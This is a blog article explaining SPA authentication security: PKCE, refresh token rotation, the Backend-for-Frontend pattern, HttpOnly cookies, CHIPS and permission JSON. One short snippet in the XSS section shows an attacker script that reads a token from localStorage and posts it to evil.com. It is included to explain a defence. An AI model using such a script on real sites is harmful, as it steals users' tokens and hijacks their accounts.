SPA Security Architecture | Why You Shouldn't Store Tokens in the Browser đ
by Jeongjin Kim
SPA Security Architecture: Why You Shouldnât Store Tokens in the Browser đ
Ever found yourself wondering âShould I store tokens in LocalStorage or cookies?â while building your SPA? Or thought âWhatâs PKCE and why do I need it?â If so, this article is your answer. Weâve compiled everything you need to know about SPA authentication and authorizationâthe hottest topic in web security as of 2025.
Why Is SPA Security So Hard?
The Trust Boundary Has Collapsed
Traditional web applications were simple. The server rendered HTML, and the browser just displayed it. Session information was safely stored in server memory, and the client only held a simple session ID cookie.
But SPAs are different. Business logic has moved to the browser, and state management happens on the client side. We can build gorgeous UIs with React or Vue, but from a security perspective, itâs been a disaster. We now have to store sensitive authentication tokens in an untrusted environmentâthe browser.
The Public Client Dilemma
The OAuth 2.0 standard classifies clients into two types:
Confidential Client: Applications running on servers. They can safely store client_secret. Think Node.js backends or Spring Boot servers.
Public Client: Applications running on user devices. SPAs, mobile apps, and desktop apps fall into this category. Since the code is exposed to users, they cannot keep secrets.
SPAs are inherently public clients because JavaScript code runs directly in the browser. Anyone can open the developer tools and see everything. Hardcoding client_secret in your code? Thatâs like committing your password to GitHub.
Threats Facing Public Clients
1. Client Impersonation
Confidential clients prove their identity with client_secret. But public clients canât do this. If you accidentally include client_secret in your SPA code, attackers can extract it using developer tools and impersonate your legitimate app.
Why is this a problem? Attackers can phish user data or request unauthorized tokens at will. Thatâs why IETF and OWASP strictly prohibit using Client Credentials Grant with public clients.
2. The Fall of Implicit Flow
In the early days of SPA development, Implicit Flow was popular. It skipped the authorization code exchange step and delivered tokens directly in the URL hash fragment (#).
https://myapp.com/callback#access_token=eyJhbG...
Looks simple, but it had fatal flaws:
- Token Leakage: Tokens in URLs are exposed through browser history, proxy logs, and Referer headers
- No Refresh: For security reasons, refresh tokens werenât issued, requiring re-authentication every time the access token expired
- Third-Party Cookie Blocking: Silent renewal via iframes was blocked by ITP (Intelligent Tracking Prevention) policies
So as of 2025, Implicit Flow has been completely deprecated. It was removed from the OAuth 2.1 standard.
3. XSS: The Most Dangerous Enemy
The biggest threat to public clients is XSS (Cross-Site Scripting) attacks. SPAs depend on countless npm packages and CDN scripts. If even one gets infected or your code has vulnerabilities, attackers can execute malicious scripts to steal tokens.
// Attacker's malicious script
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
Unlike server-side sessions, tokens like JWT carry authority themselves. Once stolen, attackers can call any API as if they were the user.
Solution 1: PKCE-based Authorization Code Flow
If youâre hosting your SPA statically on S3 or a CDN without a backend, you need to handle authentication in the browser alone. The only standard for this is the PKCE (Proof Key for Code Exchange) enabled Authorization Code Flow.
What Is PKCE?
PKCE (pronounced âpixieâ) was originally designed for mobile apps but is now the standard for all public clients. The core concept is creating and verifying a dynamic secret.
How It Works
- Generate Code Verifier: The client generates a cryptographically random string
const codeVerifier = generateRandomString(128); - Derive Code Challenge: Hash the verifier with SHA-256
const codeChallenge = base64url(sha256(codeVerifier)); - Authentication Request: Send the challenge to the auth server
/authorize?code_challenge=E9M...&code_challenge_method=S256 - Token Exchange: After receiving the authorization code, send the original verifier
/token?code=abc123&code_verifier=original_random_string - Verification: The server hashes the verifier and compares it with the initial challenge
Why Is This Secure?
Even if an attacker intercepts the authorization code during the redirect, itâs useless. To exchange it for tokens, they need the original code_verifier, which canât be reconstructed due to the hashâs preimage resistance. Attackers have the code but canât get the token.
PKCEâs Limitations and Refresh Token Rotation
PKCE protects the authorization code, but ultimately the issued tokens must be stored in the browser. The XSS risk still exists. To mitigate this, Refresh Token Rotation is essential.
How It Works:
- Make refresh tokens single-use
- Issue a new refresh token every time you refresh the access token, immediately revoking the previous one
- If someone tries to refresh using an already-used (stolen) token, the server recognizes âToken theft!â and invalidates all tokens in that token family
This logs out both the attacker and the legitimate user, but itâs a powerful defense that blocks attack persistence.
Solution 2: BFF (Backend for Frontend) Pattern
The best architecture strongly recommended by IETF and security experts. The philosophy is simple:
âNo Tokens in the Browserâ
Understanding BFF Architecture
BFF places a dedicated backend between the SPA and API servers. This backend can be a lightweight server implemented in Node.js, .NET, or Java, or an API gateway plugin.
[Browser] ââ [BFF] ââ [Auth Server]
â
[API Server]
How It Works
-
Confidential Client Transformation: BFF runs in a server environment, so it can safely manage
client_secret -
Token Hiding: When users log in, the BFF communicates with the auth server to receive tokens. The important part is these tokens are never sent to the browser. Tokens are stored only in BFFâs memory, Redis, or encrypted cookies.
-
Session Cookie Issuance: The BFF gives the SPA a session cookie with
HttpOnly,Secure, andSameSiteattributes instead of tokens. This cookie is just an identifier, with no JWT payload or anything like that. -
Proxy Role: When the SPA calls an API and sends the cookie to the BFF, the BFF validates the cookie, finds the actual access token, and injects it into the API requestâs
Authorizationheader before forwarding.
BFFâs Security Advantages
Complete XSS Defense
The browser only has an HttpOnly cookie that JavaScript canât read. Even if XSS attackers execute malicious scripts, they cannot steal the token itself. At most they can make requests using the userâs session, but thatâs preventable with CSRF defenses.
Centralized Access Control
The BFF can filter API responses or aggregate data from multiple microservices before delivering it to the frontend. This solves over-fetching problems and simplifies frontend logic.
Complexity Isolation
You can isolate complex authentication logic like token refresh, error handling, and logout to the backend, letting SPA code focus on business logic.
Token Handler Pattern: BFF Lite
One implementation of the BFF pattern, the token handler pattern specializes only in security features instead of relaying all APIs. Itâs an approach proposed by companies like Curity.
Components:
- OAuth Agent: Handles only token issuance, refresh, and cookie issuance
- OAuth Proxy: Operates at the API gateway level to validate cookies and exchange them for tokens
Benefit: You can statically deploy your SPA to a CDN while leveraging API gateways to gain BFFâs security benefits. You can enhance security with just infrastructure configuration without writing separate BFF server code.
â
LocalStorage vs Cookie: The Never-Ending Debate
This is an eternal debate among SPA developers: âWhere should I store tokens?â This issue involves a tradeoff between two attack vectors: XSS and CSRF.
Pros and Cons Comparison
| Storage Method | XSS Vulnerability | CSRF Vulnerability | Persistence | Characteristics |
|---|---|---|---|---|
| LocalStorage / SessionStorage | Very High â ď¸ | Low â | Until browser closes | Immediately accessible via JS. Instantly stolen on XSS. Not recommended |
| In-Memory (JS variables) | High â ď¸ | Low â | Lost on page reload | Not stored on disk but memory dump possible via XSS. Re-login on every refresh |
| HttpOnly Cookie | Low â | High â ď¸ | Based on expiry settings | JS access blocked. Canât steal token itself via XSS. Recommended |
XSS vs CSRF: Which Is More Dangerous?
Many developers mistakenly think âCookies are vulnerable to CSRF, so LocalStorage is better.â But security expertsâ views are the opposite.
XSSâs Destructive Power:
- Once tokens are stolen, attackers can call APIs and hijack accounts anytime, anywhere without user involvement
- Defense is practically impossible
CSRFâs Defensibility:
- Attacks are only possible when users have their browsers open
- Can be defended near-perfectly with
SameSitecookie policies and Anti-CSRF tokens
Conclusion: Even though CSRF risks exist (but are defensible), we should use HttpOnly cookies to prevent undefendable token theft (XSS). This is the core philosophy of the BFF pattern.
The Browserâs Future: CHIPS
Third-party cookie blocking policies have been a major obstacle to maintaining authentication for SPAs embedded in iframes (chat widgets, payment modules, etc.). To solve this, browser vendors like Google introduced CHIPS (Cookies Having Independent Partitioned State) technology.
How It Works:
Set-Cookie: session=abc123; Partitioned; Secure; SameSite=None
Adding the Partitioned attribute stores cookies in isolated storage per top-level site. Cookies for your service embedded in Site A arenât shared with Site B. This blocks third-party tracking while allowing normal session maintenance for embedded apps.
Authorization Management: Frontend-Backend Synchronization
If authentication is about âwho is this person,â authorization is about âwhat can this person do.â SPAs face the complex challenge of synchronizing backend authorization logic with frontend UI state.
Beyond RBAC to Permission-Centric
In the past, we simply passed role information like role: 'admin' to the frontend. But as business gets complex, this hits limitations.
For example:
- âManagers can edit articlesâ â Simple
- âManagers can only edit articles from their departmentâ â Canât express with role names alone
So the latest trend is delivering specific permission lists in JSON format.
Efficient Permission JSON Structure (CASL Style)
We recommend a structure compatible with the widely-used CASL library in the JavaScript ecosystem:
{
"user": {
"id": "u123",
"roles": ["editor"],
"permissions": [
{
"action": "read",
"subject": "Article"
},
{
"action": "update",
"subject": "Article",
"conditions": {
"authorId": "${user.id}",
"status": "draft"
}
},
{
"action": "delete",
"subject": "Comment",
"inverted": true
}
]
}
}
Interpretation:
- Can read all Articles
- Can update Articles only if author is self and status is draft
- Can never delete Comments (inverted: true â Deny rule)
Synchronization Strategy
Core Principle: âSecurity on the server, UX on the clientâ
-
API Is the Source of Truth: Actual data access control must be performed on the API server. Frontend logic can be bypassed, so never trust it.
-
Synchronization Mechanism: When users log in or load pages, call an endpoint like
/api/my-permissionsto fetch the permission JSON. -
UI Control: Store the received JSON in a global state manager like Pinia (Vue) or Context API (React). Then control the UI with custom directives or components:
<!-- Vue example -->
<button v-can="'update', post">Edit Post</button>
// React example
<Can I="create" a="Project">
<CreateButton />
</Can>
Hide or disable buttons for users without permissions. But remember: this is just UX. Real security happens on the backend!
Conclusion and Practical Recommendations
The SPA security landscape in 2025 requires much more sophisticated architecture than before. Browser constraints are tightening, and attack techniques are becoming more advanced.
Key Takeaways
1. Adopt BFF Pattern (Top Priority) đ
If youâre building security-critical business applications, adopt the BFF pattern that completely removes tokens from the browser. Itâs currently the only and most powerful architecture that can fundamentally prevent account hijacking via XSS.
2. Use HttpOnly Cookies
Use cookies with HttpOnly, Secure, and SameSite attributes instead of LocalStorage for token storage. Block script access to maximize security.
3. PKCE and Token Rotation (Second Best)
If BFF adoption is impossible (Serverless environments, etc.), use PKCE-based Authorization Code Flow, but always implement refresh token rotation and reuse detection mechanisms. This minimizes damage from token theft.
4. Granular Permission Synchronization
Go beyond simple RBAC to synchronize frontend-backend with Permission JSON structures including conditions. But always perform final authorization checks on the backend API!
Future Outlook
Web security will extend Zero Trust principles to the client side. Browsers will become increasingly closed environments (complete death of third-party cookies), and mastering new standard technologies like partitioned cookies (CHIPS) or Storage Access API will become essential.
Additionally, application-layer security protocols like DPoP (Demonstrating Proof-of-Possession) that bind tokens to specific clients will gradually become mainstream.
Final Thoughts
SPA security goes beyond simply âwhere to store tokens.â You need to embed security from the architecture design phase (Security by Design).
If youâre starting an SPA project after a while or need to improve legacy system security, bookmark this article. Itâll help when you need it! đ
Appendix: Quick Reference
Storage Selection Guide
| Situation | Recommended Approach | Reason |
|---|---|---|
| Production Environment | BFF + HttpOnly Cookie | Complete XSS defense |
| Serverless SPA | PKCE + Token Rotation | Second best when backend unavailable |
| Dev/Test Environment | LocalStorage (temporary) | Convenience, but must replace before production |
| Embedded Widgets | CHIPS utilization | Bypass third-party cookie blocking |
Subscribe via RSS